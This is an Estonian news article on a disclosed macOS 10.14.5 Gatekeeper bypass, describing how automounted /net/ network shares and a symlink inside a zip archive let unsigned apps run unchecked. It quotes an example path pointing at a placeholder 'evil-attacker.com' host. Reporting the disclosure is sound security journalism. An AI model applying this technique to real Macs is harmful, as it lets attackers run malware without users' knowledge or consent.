Pahatahtliku rakenduse installimine Maci on lihtne. Apple pole viga parandanud ka kolme kuu pärast

Turvateadlane Filippo Cavallarin postitas oma ajaveebi hoiatuse macOS 10.14.5 vea kohta. See seisneb võimaluses Gatekeeperi turvameetmetest täielikult mööda minna. Cavallarini sõnul juhtis ta veale Apple’ile tähelepanu juba selle aasta veebruaris, kuid firma seda viimases värskenduses ei parandanud.

Gatekeeperi töötas välja Apple ja see lülitati selle töölaua operatsioonisüsteemi esimest korda 2012. aastal. See on mehhanism, mis takistab rakenduse käivitamist ilma kasutaja teadmata ja nõusolekuta. Pärast rakenduse allalaadimist kontrollib Gatekeeper automaatselt selle koodi, et näha, kas Apple on tarkvara korralikult allkirjastanud.

Cavallarin märgib oma blogipostituses, et Gatekeeper peab vaikimisi turvalisteks asukohtadeks nii välist salvestusruumi kui ka võrgujagamisi. Seetõttu saab kõik nendes sihtmärkides asuvad rakendused automaatselt käivitada, ilma et peaksite läbima Gatekeeperi kontrolli. Just seda funktsiooni saab ära kasutada pahatahtliku tarkvara käivitamiseks ilma kasutaja teadmata.

Üks aspekt, mis lubab volitamata juurdepääsu, on automaatse ühendamise funktsioon, mis võimaldab kasutajatel võrguosa automaatselt ühendada, määrates lihtsalt tee, mis algab tähega "/net/". Näitena toob Cavallarin tee "ls /net/evil-attacker.com/sharedfolder/", mis võib põhjustada operatsioonisüsteemi kaugkausta "jagamiskausta" sisu laadimise, mis võib olla potentsiaalselt pahatahtlik.

Ohu toimimist saate vaadata videost:

Teine tegur on asjaolu, et kui jagatakse zip-arhiivi, mis sisaldab konkreetset automaatse ühendamise funktsiooni viivat linki, siis Gatekeeper seda ei kontrolli. Nii saab ohver pahatahtliku arhiivi hõlpsalt alla laadida ja lahti pakkida, võimaldades ründajal ilma kasutaja teadmata Macis praktiliselt mis tahes tarkvara käivitada. Finder, mis peidab vaikimisi teatud laiendusi, on samuti omajagu sellest haavatavusest.

Cavallarin nendib oma blogis, et Apple juhtis macOS operatsioonisüsteemi haavatavusele tähelepanu selle aasta 22. veebruaril. Kuid mai keskel lõpetas Apple Cavallariniga suhtlemise, mistõttu otsustas Cavallarin kogu asja avalikuks teha.

Allikas: FCVL